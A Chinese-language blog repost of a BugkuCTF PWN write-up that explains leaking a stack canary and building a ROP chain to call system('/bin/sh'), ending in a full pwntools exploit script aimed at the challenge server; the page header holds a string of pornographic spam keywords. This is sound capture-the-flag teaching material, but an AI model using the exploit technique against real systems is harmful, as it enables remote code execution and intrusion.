日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BugkuCTF-PWN题canary超详细讲解

發布時間:2024/9/27 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BugkuCTF-PWN题canary超详细讲解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

知識點

小端序說明,數據在內存里是如何存儲的?下表里數據都為16進制

解題流程


題目Hint:更新 LibcSeacher 的 libc-database

checksec查看保護機制

存在Canary和NX。


0x28=40
0x10=16
0x29=41
0x300=768
0x2C=44

buf長度為48,而read讀取長度為768
v5長度為520,而read讀取長度為768
所以存在棧溢出漏洞

注意關注以下兩條語句
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
canary存在rbp+var_8,可以在0x40082C下斷點,觀察下。

輸入n可以看到,rax寄存器的值變為了RAX 0xeb3ebba93e8f0500

可以觀察,隨后會把rax的值放在rbp-8的位置

把canary這個值存內存里是這個樣子的


所以現在的思路是首先依據第一次回顯泄露canary的值,第二次通過利用泄露的canary值實現棧溢出。

64位程序優先通過寄存器rdi傳參,所以先找pop rdi

這里還缺/bin/sh,利用ROPgadget --binary pwn4_canary --string “/bin/sh”

將"/bin/sh"作為參數傳給system函數,然后調用

exp

from pwn import * #sh = process('./pwn4_') #context.log_level = 'debug' sh = remote('114.67.246.176',11788)sh.recvuntil('Please leave your name(Within 36 Length)')payload1 = 'a' * 568 sh.sendline(payload1) sh.recvuntil('a' * 568 + '\n') #canary = u64(sh.recv(8)) - 0xa canary = u64(b'\x00' + sh.recv(7)) log.info('canary: ' + hex(canary))sh.recvuntil('Please leave a message(Within 0x200 Length)') pop_rdi_ret = 0x0000000000400963 system_addr = 0x400660 binsh_addr = 0x0000000000601068payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sh.send(payload2) sh.interactive()

運行:

總結

以上是生活随笔為你收集整理的BugkuCTF-PWN题canary超详细讲解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。